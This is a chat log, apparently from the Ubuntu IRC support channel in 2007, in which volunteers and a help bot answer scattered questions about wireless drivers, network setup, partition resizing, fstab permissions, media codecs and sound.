[01:39] <Timbooooo> how can i troubleshoot a laptop that is not able to connect wirelessly to the wireless network i have
[01:39] <amio> unfortunately I dont have another
[01:39] <piranesi> xmame is giving me 23 fps in opengl mode and 53 fps in xv mode... is this normal? isn't opengl mode too slow? I have an ati card with proprietary drivers
[01:39] <amio> the thing is I tried all the ways
[01:39] <riotkittie> Timbooooo: what's the chipset of the wireless adapter?
[01:39] <amio> there was written automatic dhcp on
[01:39] <amio> I made it
[01:39] <jmak642> amio: did you statically assign an address?
[01:40] <amio> and the second optioon was comething with letters iv
[01:40] <amio> I also did
[01:40] <jmak642> amio: hmm, your ethernet is on board or pcmcia
[01:40] <nickrud> riotkittie: is getting to be a wireless expert in self defense
[01:40] <amio> then I tried to put the ip addresses which I have from the internet providers and nothing
[01:40] <Timbooooo> riotkittie whre can i find that?
[01:40] <amio> it says I am connected to LAN but can not on any program I mean like firefox
[01:41] <amio> and other chatting programs like the ekigo
[01:41] <amio> and the messenger
[01:41] <amio> also can not ping
[01:41] <neverblue> !enter
[01:41] <Ubotu> Please try to keep your questions/responses on one line - don't use the "Enter" key as punctuation!
[01:41] <avt3kk> guys what was that second link for mp4?
[01:41] <Timbooooo> riotkittie broadcom , bcm4306
[01:41] <amio> what does board or pcmcia mean?
[01:41] <dbonaduce> Is it possible to rig ubuntu to autologin?
[01:41] <amio> I am using a laptop though
[01:41] <nickrud> amio: you need to slow down a bit, and answer the guy's questions so he can help you troubleshoot
[01:41] <avt3kk> I have https://help.ubuntu.com/community/RestrictedFormats
[01:41] <neverblue> dbonaduce, google ubuntu guide
[01:42] <jmak642> amio: built in ethernet?
[01:42] <neverblue> dbonaduce, pretty sure thats covered in there
[01:42] <databoy2k> alright will try again and see how that goes... i'll be back if it fails again :P
[01:42] <amio> I think so
[01:42] <dbonaduce> ok, Ill go read the internet and see if what I seek is in there
[01:42] <riotkittie> Timbooooo: i believe you're going to need to use ndiswrapper, and i'm unfamiliar with that myself... but the forums should be awash in helpful posts
[01:42] <jmak642> amio: ok, well the best thing to do is boot back to ubuntu, then configure the card for dhcp
[01:42] <neverblue> dbonaduce, ctrl-f (find) :)
[01:42] <avt3kk> I saw another guys question about mp4 and I want to learn also this
[01:43] <avt3kk> how to play
[01:43] <neverblue> !mp4
[01:43] <Ubotu> For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also http://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats
[01:43] <jmak642> amio: after that, open a terminal and run sudo ifconfig
[01:43] <avt3kk> ty
[01:43] <neverblue> np
[01:43] <amio> well I can boot now and try but I have tried it previously
[01:43] <amio> and/
[01:43] <jmak642> amio: wait a sec
[01:43] <amio> ?
[01:43] <Timbooooo> riotkittie ok thanks, ive tried to use it but it did not make sense
[01:43] <dbonaduce> I like it when people who know the answer answer, not people who just know to google ^
[01:43] <dbonaduce> ^
[01:43] <jmak642> amio: after you get the results from ifconfig figure out what your ip address is in there
[01:43] <Timbooooo> is anyone able to help me with the ndiswrapper
[01:43] <dbonaduce> grr. this keyboard layout blows.
[01:43] <jmak642> amio: and find your default gateway's ip address
[01:44] <jmak642> amio: both of those will be in the ifconfig results
[01:44] <Midtronic> who do I talk to about a question with the way something was compiled? (i.e. vim compiled without syntax highlighting[!?] )
[01:44] <jmak642> amio: try to ping the default gateway by its ip and see if you get a response
[01:44] <Midtronic> is that direct to the package maintainer?
[01:44] <jmak642> amio: if you do, then you probably are not being assigned dns
[01:45] <PriceChild> Midtronic, sudo apt-get install vim-full
[01:45] <amio> what is the comand to ping the default gatway? is it 'ping 0.0.0.0'?
[01:45] <jmak642> amio: and make sure you reboot your cable modem just fore grins
[01:45] <jrib> Midtronic: vim-tiny is installed by default.  You want to install vim-full
[01:45] <Midtronic> ahh, thanks.
[01:45] <mpav65> anyone one a good java help channel
[01:45] <mpav65> #help
[01:45] <fungos_> apt-get install acetoneiso2   is broken?
[01:45] <Midtronic> ##java?
[01:45] <mpav65> ahah thanks
[01:46] <jmak642> amio: no, your default gateway's address will be semilar to your own ip address, for example if you are 192.168.1.101 then you need to ping 192.168.1.1 in all likelyhood
[01:46] <livingdaylight> miro just crashes in Ubuntu
[01:46] <jmak642> amio: so ping 192.168.1.1
[01:46] <PriceChild> livingdaylight, are you still trying to watch the screencasts?
[01:46] <amio> ok so thats all for now? should I go on?
[01:46] <fungos_> !find acetoneiso2
[01:46] <livingdaylight> PriceChild, i gave up on that site
[01:46] <jmak642> amio: yah do it and come back
[01:46] <Ubotu> Package/file acetoneiso2 does not exist in feisty
[01:46] <Midtronic> how about (I'm a debian guy) this verification stuff with apt-get?
[01:46] <jmak642> !dns
[01:46] <Ubotu> Sorry, I don't know anything about dns - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[01:46] <amio> ok brb
[01:47] <PriceChild> livingdaylight, i'm giving up on you, you're ridiculous. All you had to do was choose a video format from the bottom of the page and let it guide you through the install of skype.
[01:47] <fujin> anyone experienced with grub, or in particular the 'flashing cursor' error? I can't get my ubuntu feisty desktop to boot at all.
[01:47] <dbonaduce> !dvd > dbonaduce
[01:47] <riotkittie> all i know about ndiswrapper is that the version in the repos seems to be screwed up but perhaps that was just me :P
[01:47] <fungos_> my adept-manager crashed and it doesnt start again... what now?
[01:47] <fujin> Midtronic, you must add a gpg key for a third party repository if you want to use it
[01:48] <newdude> hey there, ive got windows and ubuntu installed on the same HD(dual boot), is there some way i can resize the ntfs just to give ubuntu another 5gigs diskspace? ive tried gparted but i cant resize the ntfs filesystem
[01:48] <Midtronic> fujin: that should be available on the mirror?
[01:48] <rafaelscj> is there a app better than firestarter?
[01:48] <livingdaylight> PriceChild, well, i told you i clicked on all i could see that was highlighting when i put the mouse over that pointed to and had anything to do with skype... and it didn't open to anything but back to itself...so why be upset with me.?
[01:48] <fujin> uh, yeah. guess so
[01:48] <fujin> could be in other places though ;] 
[01:48] <Zasch> Hello. I was wondering if there was any good program that was superior to OpenOffice Calc when creating graphs?
[01:49] <neverblue> livingdaylight, what are you attempting to do ?
[01:49] <avt3kk> I dont have gstreamer bad multiverse in my synaptic gstreamer search ... is this bad??? to use to add dvdlibcss codec to view dvds?
[01:49] <livingdaylight> PriceChild, i asked yoiu several times aswell and you just asked what i had clicked on and had i clicked on 12 things.. now that you tell me to got to the bottom yes, something is happening.. thanks again amigo
[01:49] <marcus_> nick
[01:49] <marcus_> sorry
[01:50] <livingdaylight> neverblue, i was attempting to install skype... in between got distracted with miro which crashes...
[01:50] <fungos> program  cant find libQtGui.so.4 but it exists in /usr/lib/libQtGui.so.4  where I need to configure this?
[01:50] <crowley1028> no sound working, someone help
[01:50] <avt3kk> can I just select something in synaptic to install and play dvds and pm4 ect?
[01:50] <crowley1028> vague problem, i know.
[01:50] <avt3kk> mp4
[01:50] <danielviras> hi all...
[01:50] <crowley1028> everything is plugged in, sound is turned up, the right device is selected...idk.
[01:50] <neverblue> livingdaylight, are you using any documentation to install it ?
[01:50] <PWND_> Can someone help me install Netgear FA311 drivers on my system?
[01:50] <rafaelscj> !firestarter
[01:50] <Ubotu> Ubuntu, like any other linux distribution, has firewall capabilities built-in. The firewall is managed using the 'iptables' command (see https://help.ubuntu.com/community/IptablesHowTo), or GUI applications such as Firestarter (Gnome) or Guarddog (KDE).
[01:50] <avt3kk> hi Daniel :)
[01:50] <Midtronic> avt3kk: vlc
[01:50] <livingdaylight> neverblue, documentation to install what?
[01:50] <PriceChild> neverblue, I gave him http://screencasts.ubuntu.com/Skype to guide him thruogh the install
[01:51] <avt3kk> ook ty Mid :)
[01:51] <|thunder> how do I add myself to more groups ?
[01:51] <neverblue> livingdaylight, skype, obviously :)
[01:51] <rafaelscj> !firestarter
[01:51] <PriceChild> |thunder, system > admin > users and groups
[01:51] <danielviras> I just installed compiz fusion, but it doesn't start as my default cwm, does anyone know how to set it so??? (I use kubuntu, but the guys on the kubuntu room told me to come here.... lol)
[01:51] <PriceChild> danielviras, #ubuntu-effects please
[01:51] <neverblue> ill try PriceChild :)
[01:51] <jmak642> |thunder: why are you adding yourself to groups?
[01:51] <eccentricity> My system doesn't even to know there's a microphone. I've got audacity monitoring sound. Ideas?
[01:51] <|thunder> danielviras; try #compiz-fusion
[01:52] <neverblue> livingdaylight, 64bit or 32 bit system ?
[01:52] <Midtronic> |thunder, usermod -G -a <group>
[01:52] <kevin_> Yay I got mp3 support in amarok :)
[01:52] <livingdaylight> neverblue, ok, because i mentioned miro crashing so i wasn't sure whether you were referrring to that...i hadn't had any documentation... but i'm watching the screencast now... i didn't know what screencasts were or how to open them...
[01:52] <livingdaylight> 32
[01:52] <Midtronic> or something near that.  read the manpage
[01:52] <|thunder> jmak642; cuz flash drive is pissing me off
[01:52] <CoasterMaster> Is there a reason I can't get 64-bit CDs from shipit?
[01:52] <Midtronic> but you need the -a and the -G somewhere to add a group
[01:52] <neverblue> livingdaylight, are you familiar with updating sources.list ?
[01:52] <riotkittie> are network-manager and /etc/network/interfaces independent or do they work together?
[01:52] <BFIT1908> anyone know if there is anyway to display an echo output in all UPPERCASE
[01:52] <livingdaylight> neverblue, yes
[01:53] <BFIT1908> for example if i typed echo hello world it would display HELLO WORLD
[01:53] <danielviras> thanks
[01:53] <neverblue> livingdaylight, have you added a 'skype' repos in your current sources.list ?
[01:53] <newdude> hey there, ive got windows and ubuntu installed on the same HD(dual boot), is there some way i can resize the ntfs just to give ubuntu another 5gigs diskspace? ive tried gparted but i cant resize the ntfs filesystem
[01:53] <livingdaylight> neverblue, no
[01:53] <pwnd_`> Can someone help me install Netgear FA311 drivers on my system?
[01:53] <PriceChild> neverblue, no don't distract him....
[01:53] <jmak642> |thunder: put user in the mount options for the device and your wont have to add yourself to any groups i bet
[01:53] <PriceChild> livingdaylight, just watch the video and do what it instructs
[01:53] <neverblue> PriceChild, sure, i wont assist if you ask
[01:53] <PriceChild> neverblue, the video i have given him is ample in explaining how to install skype
[01:53] <rafaelscj> !firestarter | rafaelscj
[01:53] <|thunder> jmak642; what, in fstab ?
[01:53] <livingdaylight> PriceChild, so, i can just download from skype website... doh...
[01:53] <neverblue> good luck livingdaylight
[01:54] <jmak642> |thunder: yeah
[01:54] <livingdaylight> thx
[01:54] <riotkittie> newdude: you can try XP's disc management to do it  ...   are they both primary parts or is ubuntu logical?
[01:54] <|thunder> jmak642; /dev/sda1 /media/usb vfat rw,dev,users,utf8,umask=007,gid=46 0 0
[01:54] <Midtronic> BFIT1908: use perl :-)
[01:54] <Tetl> Well that's a big channel
[01:54] <jmak642> |thunder: not users, user
[01:55] <|thunder> jmak642; thanks, ikk try
[01:55] <newdude> sorry i dont know what you mean buy primary parts but windowsxp takes up 20gigs, and ubuntu takes up 10 gigs, id just like to give a lil more diskspace to ubuntu, ill try the windows disc mangement though
[01:55] <riotkittie> primary partitions
[01:55] <Xaelgrim> is there anyway to join a windows workgroup?
[01:56] <neverblue> Xaelgrim, can you view it ?
[01:56] <eccentricity> ok... anybody? Microphone problems?
[01:56] <Xaelgrim> no
[01:56] <neverblue> Xaelgrim, are your drives on the windows box shared ?
[01:56] <jmak642> eccentricity: i have terrible mic problems, but i'm not brokenhearted over it
[01:56] <avt3kk> guys can I have firefox automaticly use vlc for mpeg movies?
[01:56] <newdude> oh, yup i guess windows is the primary partition then, its using more ds
[01:56] <avt3kk> mpg mpeg
[01:56] <eccentricity> Yes, but I need mine, and nobody seems to have any idea why it won't work.
[01:56] <newdude> i only keep windows to use adobe director mx
[01:56] <Xaelgrim> yes, they are
[01:56] <riotkittie> no, no. its not about disk space.
[01:57] <kevin_> I only keep Windows to play Counter-Strike.
[01:57] <jmak642> eccentricity: probably directly related to your specific sound card
[01:57] <pwnd_`> Can someone help me install Netgear FA311 drivers on my system?
[01:57] <newdude> i have only 1 hardrive if thats what you mean?
[01:57] <|thunder> jmak642; i own it now i guess, but its still a read only disc
[01:57] <jmak642> eccentricity: but i dont know much about that
[01:57] <neverblue> Xaelgrim, then you shouldnt have an issue viewing it over the network
[01:57] <jmak642> |thunder: what options are you having now?
[01:57] <avt3kk> how do I set firefox to automaticly play mpeg mpg videos with vlc??????
[01:57] <eccentricity> eh, thanks anyhow.
[01:57] <neverblue> Xaelgrim, vice versa takes you into using Samba, if your interested
[01:57] <jmak642> |thunder: well, just put the line from fstab
[01:58] <neverblue> !samba
[01:58] <Ubotu> samba is is the way to cooperate with Windows environments. Links with more info: https://wiki.ubuntu.com/MountWindowsSharesPermanently and http://help.ubuntu.com/ubuntu/serverguide/C/windows-networking.html - Samba can be administered via the web with SWAT
[01:58] <thedash> what's a good way to split source dvd files to individual videos ?
[01:58] <rafaelscj> what's the wmp/real player equivalent plugins for firefox?
[01:58] <riotkittie> newdude: open gparted and ....
[01:58] <Xaelgrim> ill try samba
[01:58] <Xaelgrim> also i just had one more question
[01:58] <neverblue> Xaelgrim, thats to share your linux F/S with on your windows computer
[01:58] <|thunder> Anyone know hwo to make this read-write ?       ' /dev/sda1 /media/usb vfat rw,dev,user,utf8,umask=007,gid=46 0 0 '
[01:58] <riotkittie> do you see an aqua border around any of your partitions?
[01:59] <optimarcusprime> @rafaelsc : mplayer for firefox does most everything
[01:59] <Xaelgrim> how can i view streaming video with firefox?
[01:59] <avt3kk> partition is swimming? :O
[01:59] <newdude> yup its around my windows partition
[01:59] <avt3kk> wtf lol
[01:59] <avt3kk> :/
[01:59] <rafaelscj> Xaelgrim, vlc is good
[01:59] <neverblue> Xaelgrim, you can view streaming video in embedded players in FF
[01:59] <optimarcusprime> Xaelgrim: Also, Mplayer for Firefox will take care of media
[01:59] <avt3kk> Never how do I set vlc to automaticly be used in firefox?
[01:59] <jmak642> |thunder: make sure you have full control of /media/usb
[01:59] <Evanlec> hey, whats the best linux alternative to dreamweaver?
[01:59] <neverblue> Xaelgrim, but you can also use those stand alone applications to watch network video :)
[02:00] <terrestre> Xaelgrim: smb://ipofthepc <--- try typing this line in nautilus
[02:00] <pwnd_> Can someone help me install Netgear FA311 drivers on my system?
[02:00] <mpav65> ok i am really stupid how do you do this nickserv stuff
[02:00] <riotkittie> errr. and does gparted list the xp partition as being in an extended partition?
[02:00] <neverblue> Xaelgrim, vlc: good as a standalone, not so good as a FF addon
[02:00] <|thunder> jmak642; as in, me as user:group ?
[02:00] <banie_> hi
[02:00] <Xaelgrim> thank you al again sop much
[02:00] <rafaelscj> optimarcusprime, did you use mplayer?
[02:00] <optimarcusprime> yes
[02:00] <riotkittie> mpav65: /msg nickserv help
[02:00] <avt3kk> hello
[02:00] <jmak642> |thunder: yeah
[02:00] <banie_> got prob wth my sound
[02:00] <newdude> nope
[02:00] <optimarcusprime> refaelscj: it's pretty much the best one for firefox
[02:00] <banie_> so slow even set to maximum
[02:00] <jmak642> |thunder: or you as your group
[02:00] <avt3kk> dude can you help me?
[02:00] <avt3kk> dude looks smart
[02:00] <|thunder> jmak642; its eric:plugdev right now. which im a member of
[02:01] <neverblue> Xaelgrim, anytime
[02:01] <rafaelscj> optimarcusprime, okay, thanks
[02:01] <terrestre> newdude: how do you make the original partition? when you installed ubuntu
[02:01] <banie_> thinking what wrong
[02:01] <Evanlec> so whats the linux alternative to dreamweaver?
[02:01] <newdude> ive got "extended 497 megabytes" listed
[02:01] <optimarcusprime> rafaelscj: no problem
[02:01] <fermatstheorem> hello all. how do i switch desktops, say from gnome to xfce at runlevel 3 and then hit startx? i did not find .wmrc in my ~/
[02:01] <jvalencia> hi
[02:01] <mribas> FGHH
[02:01] <jvalencia> i have a problem with the sound recorder
[02:01] <newdude> i just resized the ntfs, then formated the empty diskpace, and installed ubuntu on that
[02:01] <mribas> HOLA COMO ESTAS
[02:01] <banie_> this is sound playback
[02:01] <jvalencia> i am trying to record my vocie and it says please correct your multimedia settings
[02:01] <avt3kk> newdude how do I get vlc to automaticly be used in firefox?
[02:01] <newdude> now i cant resize it :S
[02:01] <riotkittie> is ubuntu in the extended space?
[02:01] <jvalencia> where i should correct that??
[02:02] <rafaelscj> Xaelgrim, I just installed vlc and could view videos with firefox...
[02:02] <newdude> nope
[02:02] <terrestre> you resized with the ubuntu cd?
[02:02] <mribas> COMO ESTAS
[02:02] <banie_> my xmms so slow..cannot hear the song
[02:02] <riotkittie> there's nothing in the extended partition?
[02:02] <newdude> ubuntu is in ext3
[02:02] <jeff_> lol I
[02:02] <riotkittie> its just an extended partition with free space?
[02:02] <newdude> i resized with the live cd yup
[02:02] <jmak642> |thunder: hmm, i'd say try to take ownership of the directory
[02:02] <pwnd_> Can someone help me install Netgear FA311 drivers on my system?
[02:02] <avt3kk> Newdude what should I do?
[02:02] <newdude> im not sure, theres a bit called extended with 400megs but i dont know what it is exactly
[02:03] <PriceChild> !es | mribas
[02:03] <Ubotu> mribas: Si busca ayuda en Espaol por favor entre en los canales #ubuntu-es, #kubuntu-es o #edubuntu-es, all obtendr mas ayuda.
[02:03] <jmak642> |thunder: though it should work as is
[02:03] <avt3kk> streak around the block n@ked wtf???  :O
[02:03] <bkhype> anybody run anything on there ubuntu that customizes the desktop layout, to mirror that of an MAC OS ?
[02:03] <terrestre> newdude: try the live cd again, you can reinstall or just take away a part of the ntfs , and not reinstall
[02:03] <jvalencia> Hello!!!
[02:03] <optimarcusprime> Hi!
[02:03] <newdude> ill take a screen shot and give you the link
[02:03] <newdude> i cant really explain it well enough
[02:03] <jvalencia> i am trying to record my vocie and it says please correct your multimedia settings
[02:03] <jeff_> lol I'm reformatting a computer for my dad's friend, and of course installing all the good programs on windows, and it's so damn painful using windows even just to configure it, I had to use the driver cd just to get the ethernet card to work lmao
[02:03] <|thunder> jmak642; ill give it a go, thx
[02:03] <jvalencia> where i should correct that??
[02:03] <fermatstheorem> Hello. how do i change defautl desktop from gnome to xfce at runlevel 3 and hten startx, there is no .wmrc in ~/
[02:04] <avt3kk> who can help me set firefox to use vlc automaticly?
[02:04] <mribas> BARRATA
[02:04] <Marduk> Hello, I need to delete a file everytime the system starts. I put it in sessions but it doesn't work. Whats another way of doing it?
[02:05] <jrib> avt3kk: uninstall the totem plugin and install the vlc plugin using your favorite package manager
[02:05] <thedash> I'm having a bit of trouble separating a dvd's source files to individual chapters/titles, any suggestions ?
[02:05] <fermatstheorem> Marduk: /etc/init.d
[02:05] <Xenguy> Marduk: cron job?
[02:05] <avt3kk> ook
[02:05] <Asuka> how do you add a printer?
[02:05] <Asuka> !printer
[02:05] <Ubotu> Printing in Ubuntu is done with cups. See https://help.ubuntu.com/community/Printers - https://wiki.ubuntu.com/HardwareSupportComponentsPrinters - http://www.linux-foundation.org/en/OpenPrinting - Printer sharing: https://wiki.ubuntu.com/NetworkPrintingFromWindows
[02:05] <Xenguy> Marduk: maybe not the best
[02:05] <Xaelgrim> ok sweet i got my network up and running
[02:05] <jrib> Marduk: that sounds really strange: /why/ do you need to do this?
[02:05] <amio> jmak642 thanks for help already I got internet just made it dhcp then tried to ping the inet address and then pinged the real gatway which I have recorded from the company restarted then i have now
[02:05] <jmak642> amio: did it work?
[02:05] <fermatstheorem> Marduk: or somewhere in xinetd
[02:05] <Xaelgrim> however when i try to view my movie i get this msg
[02:05] <Xaelgrim> The playback of this movie requires a DivX MPEG-4 Version 5 decoder plugin which is not installed.
[02:05] <terrestre> newdude: a little information, in a hd there 2 kind or partitions, primary and extended, you can have just 4 primary partitions,  but infinite extended partitions, thats mean, you can have 3 primary partitions, and the last one became extended
[02:06] <jmak642> amio: great
[02:06] <amio> thank you
[02:06] <fermatstheorem> Xaelgrim: Marduk wants to delete naughty stuff before somebody sees it ;)
[02:06] <amio> now I wish you can help me with the seocnd trouble
[02:06] <newdude> ahh cool, so what do the extended partiions do?
[02:06] <inbitado34> there are many intents of invasion by port microsoft-ds, can i close it ??
[02:06] <jmak642> amio: no problem.  if i can, lets see
[02:06] <Marduk> fermatstheorem, so just copy the shell script to /etc/init.d and it'll automatically do it on startup, or do I need to do anything else?
[02:06] <Evanlec> ahh, gnome equivalent of quanta Plus ?
[02:06] <amio> I am having a ATI rv350
[02:06] <newdude> btw heres the link to my gparted info http://i192.photobucket.com/albums/z101/goneburger/Screenshot.png
[02:06] <jrib> Xaelgrim: do you have a sample site?
[02:06] <Xaelgrim> eh?
[02:06] <jmak642> amio: ok
[02:07] <amio> when I installed ubuntu and went to rstricted drivers I saw there was one drive
[02:07] <Xaelgrim> sample site meaning?
[02:07] <xjman> I just finished downloading and burning the ubuntu iso disk but it wont boot. It tells me ther is a bios bug:8254 timer not connected to IO-APIC
[02:07] <jrib> Xaelgrim: where I can see the error
[02:07] <Xaelgrim> sorry im new
[02:07] <inbitado34> there are many intents of invasion by port microsoft-ds, can i close it ??
[02:07] <alix> hi anyone have used lyx
[02:07] <amio> after updating the system I was able to enable it
[02:07] <amio> before I couldnt
[02:07] <Xaelgrim> that was the exact error
[02:07] <Xaelgrim> The playback of this movie requires a DivX MPEG-4 Version 5 decoder plugin which is not installed.
[02:07] <jrib> !anyone | alix
[02:07] <Ubotu> alix: A large amount of the first questions asked in this channel start with "Does anyone/anybody..."  Why not ask your next question (the real one) and find out?
[02:07] <amio> any way lets talk about when it was disabled
[02:07] <Evanlec> anyone have recommendations on website development apps?
[02:07] <jrib> Xaelgrim: what plugin are you using?
[02:07] <amio> i enabled the desktop effects
[02:07] <amio> then I installed beryl
[02:07] <Xaelgrim> none that i know of
[02:07] <newdude> have i stuffed up my paritions jugding buy that picture?
[02:07] <amio> it worked perfectly
[02:07] <jmak642> !beryl
[02:07] <Ubotu> beryl is a window manager that takes advantage of an OpenGL accelerated X environment. Help in #ubuntu-effects
[02:07] <jrib> !restricted > Xaelgrim (see the private message from ubotu)
[02:07] <alix> does anyone have used lyx
[02:07] <amio> then I went to restircted drivers and enabled it
[02:08] <Evanlec> !html
[02:08] <Ubotu> html is HyperText Markup Language, used to build web pages.  Editors in Ubuntu: Bluefish, Quanta+, Screem, and KompoZer(Nvu).  For howto on HTML coding, see: http://www.w3schools.com/
[02:08] <amio> I mean the ati driver
[02:08] <banie_> any one?
[02:08] <jrib> alix: yes. ask the channel your next question
[02:08] <banie_> my xmms so slow..cannot hear the song
[02:08] <inbitado34> there are many intents of invasion by port microsoft-ds, can i close it ??
[02:08] <amio> then when I restarted ubuntu
[02:08] <Xenguy> !lyx
[02:08] <Ubotu> Sorry, I don't know anything about lyx - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[02:08] <jrib> !enter | amio
[02:08] <Ubotu> amio: Please try to keep your questions/responses on one line - don't use the "Enter" key as punctuation!
[02:08] <banie_> any idea?
[02:08] <amio> I saw that there are no more beryl effects and no more even the default desktop effects of ubuntu 7.4
[02:08] <riotkittie> ahhh. swap's in the extened space
[02:08] <alix> when i generate pdf from latex i have the citations in english and i want to have them in frensh
[02:08] <newdude> so ive made a mess?
[02:09] <xjman> Anyone possibly have a solution?
[02:09] <jmak642> amio: yah i think i cant help there, i have never messed with desktop effects, really not my bag
[02:09] <jrib> !please > xjman (see the private message from ubotu)
[02:09] <amio> and when I would like to on desktop effects it says that this program had some conflict or I even forgot the exact word
[02:09] <riotkittie> no your partitions look fine. what i think you are going to need to do is resize the xp partition, and then take the resulting freespace and add it to the ubuntu partition.
[02:09] <avt3kk> it worked your a genius :) ty guys
[02:09] <jmak642> amio: i just want a computer that works and doesnt get fubar all the time cause of a virus or someone begging for me to buy their garbage
[02:10] <jmak642> amio: sorry
[02:10] <luke_>  Topic for #ubuntu is Official Ubuntu Support Channel | Please be patient and read the FAQ. | FAQ: https://help.ubuntu.com/community/CommonQuestions | Support options: http://www.ubuntu.com/support | IRC info: https://wiki.ubuntu.com/IRCResourcePage | Pastes to h
[02:10] <amio> ok jmak
[02:10] <newdude> cool :) just one thing though the resize opetion is greyed out so i cant resize ntfs :S
[02:10] <jmak642> |thunder: any luck?
[02:10] <riotkittie> ugh. i need more coffee.  and my glasses.
[02:10] <amio> thanks anyway
[02:10] <riotkittie> newdude: are you doing this from a live CD or the actual installed ver of ubuntu?
[02:10] <Evanlec> newdude, try un-mounting your ntfs partition first before resizing
[02:11] <travisbickle> anybody know of any decent games I could download for ubuntu?
[02:11] <riotkittie> is that what the little triangle means? that its mounted?
[02:11] <rockets> I can install ubuntu server without a net connection right?
[02:11] <jrib> !games > travisbickle (see the private message from ubotu)
[02:11] <Evanlec> travisbickle, i havent found any yet ;p
[02:11] <overclucker> travisbickle, wht knid of games?
[02:11] <newdude> im using gpated on ubuntu installed, not live cd
[02:11] <Xenguy> rockets: sure
[02:11] <fermatstheorem> travisbickle: doom!
[02:12] <mEck0> Hippu, is there somebody here who owns a 12" laptop? I want to ask some questions because I thinking of buying a new laptop...
[02:12] <overclucker> !nethack
[02:12] <Ubotu> Sorry, I don't know anything about nethack - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[02:12] <overclucker> boo
[02:12] <rockets> Xenguy, ok i was worried, cuz its been stucko n confiugring man-db for like 30 mins and this is a brand new, fast, pc
[02:12] <SirBob1701> traveller: alien arena 2007
[02:12] <SirBob1701> err
[02:12] <rockets> rockets, the system is responsive, i can switch to an alternate terminal
[02:12] <SirBob1701> travisbickle: alien arena 2007
[02:12] <rockets> lol i just directed a message at myself
[02:12] <jmak642> cya folks, back later
[02:12] <Xenguy> rockets: hrm, dunno
[02:13] <inbitado34> there are many intents of invasion by port microsoft-ds, can i close it ??
[02:13] <Xenguy> rockets: could be another problem too <shrug>
[02:13] <Xenguy> inbitado34: firewall ?
[02:13] <travisbickle> I dunno something i can play to kill time. I have an old system 1.6p4 64mb nvidia card
[02:14] <travisbickle> I think i played doom2 when I was 10 lol
[02:14] <rockets> Xenguy, yeah, bad media, but i verified the disk
[02:14] <riotkittie> newdude: try unmounting the xp partition and see if that lets you proceed.
[02:15] <Marduk> I execute my script by typing ./scriptname ... So after copying it to /etc/init.d, do I type update-rc.d ./scriptname defaults, or is it update-rc.d scriptname defaults
[02:15] <DM|> Anyone here use listen music player?
[02:15] <Xenguy> rockets: if all else fails, try something else (version, dist) :-)
[02:15] <newdude> ive unmounted it but the resize option is still greyed out :S,  just uploading screenshot of what the notice says, i think im missing a plug in?
[02:15] <overclucker> travisbickle, robots2, tron, nibbler, cube, nethack, etc
[02:15] <newdude> heres the pic http://i192.photobucket.com/albums/z101/goneburger/Screenshot-1.png
[02:15] <pwnd_`> Can someone help me install FA311 Netgear drivers on my machine?
[02:15] <jonnymac> hello
[02:15] <Exile>  #sdfgh
[02:15] <emun> Hi, everybody, does anyone no the correct way to remove a usb pendrive(eg. sandisk) from ubuntu?
[02:16] <jonnymac> still thrilled by the newly installed ubuntu, I don't quite understand it but I feel free
[02:16] <laptop> what is the package in syanptic to upgrade to the GG?
[02:16] <overclucker> emun, pull hard
[02:16] <jonnymac> yeah you have to unmount it first
[02:16] <overclucker> heh
[02:16] <Xenguy> jonnymac: the free part is crucial, and nice
[02:16] <Fulk> I wasn't thrilled, it was a major chore to get it working on my new laptop :-)
[02:16] <jonnymac> then right click eject
[02:16] <fermatstheorem> emun:on the desktop , device(right click,eject)
[02:16] <rockets> Xenguy, not trying another dist, but id consider trying gutsy
[02:16] <jonnymac> Xenguy: don't it feel good?
[02:17] <laptop> What is the method to try gutsy at the current time?
[02:17] <emun> now which is eject or unmount
[02:17] <Xenguy> rockets: there ya go (or debian :-)
[02:17] <bkhype> Compiz Fusion anybody got any experience with it ?
[02:17] <riotkittie> newdude: i'm kind of lost here as i've never used an actual install of gparted. i'm not sure if that's normal as Ubuntu doesnt enable write access to NTFS or what.
[02:17] <jonnymac> isn't it just in the list when you right click the icon?
[02:17] <Evanlec> bkhype, #compiz-fusion
[02:17] <overclucker> laptop, w8 till official release
[02:17] <rockets> Xenguy, nope :-P
[02:17] <Xenguy> jonnymac: I look for ways to pay back these guys, but they're too smart ;-)
[02:17] <optimarcusprime> agreed, laptop
[02:17] <newdude> ok thats cool, ill look around some more, thanks for help though much appreciated :)
[02:17] <fermatstheorem> bkhype: hit !compiz
[02:17] <Xaelgrim> do i need to d/l some kind of drivers to heare sound?
[02:18] <pwnd_`> Can someone help me install FA311 Netgear drivers on my machine?
[02:18] <jonnymac> I've so little idea what all that means
[02:18] <bkhype> !compiz
[02:18] <Ubotu> Compiz (compositing window manager) and XGL (X server architecture layered on top of OpenGL) - Howto at http://help.ubuntu.com/community/CompositeManager - Help in #ubuntu-effects
[02:18] <jonnymac> Mmmm... New language to learn
[02:18] <bkhype> thx
[02:18] <fermatstheorem> pwnd_ : do you have drivers with you
[02:18] <jonnymac> by the by can anyone tell me why the speakers on my laptop don't work?
[02:18] <fujin> anyway I can diagnose why GRUB isn't booting my system? It looks like it starts booting, but then I just get a flashing cursor at my console
[02:19] <Xenguy> !sound
[02:19] <Ubotu> If you're having problems with sound, first ensure ALSA is selected, by double clicking on the volume control, then File -> Change Device (ALSA Mixer). If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/index.php?page=DmixPlugin - For playing audio files, see !Players and !MP3
[02:19] <emun> for the usb drive , do i rightclick and unmount it or eject it?
[02:19] <fujin> even with quiet/nosplash turned off
[02:19] <Xaelgrim> Im having the same problem as jonnymac
[02:19] <optimarcusprime> jonnymac: does your sound card output, say if you plugged in some headphones?
[02:19] <riotkittie> jonnymac: is your volume muted?
[02:19] <fermatstheorem> emun: eject
[02:19] <eigma> where can I read about the "link-on-boot" feature?
[02:19] <eigma> (aka volatile modules)
[02:19] <jonnymac> ok what's ALSA in normal dum-dum speak
[02:19] <pwnd_`> !netgear
[02:19] <Ubotu> Sorry, I don't know anything about netgear - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[02:19] <pwnd_`> Fail
[02:19] <laptop> My decision is to try the current build, that is what Im asking help for
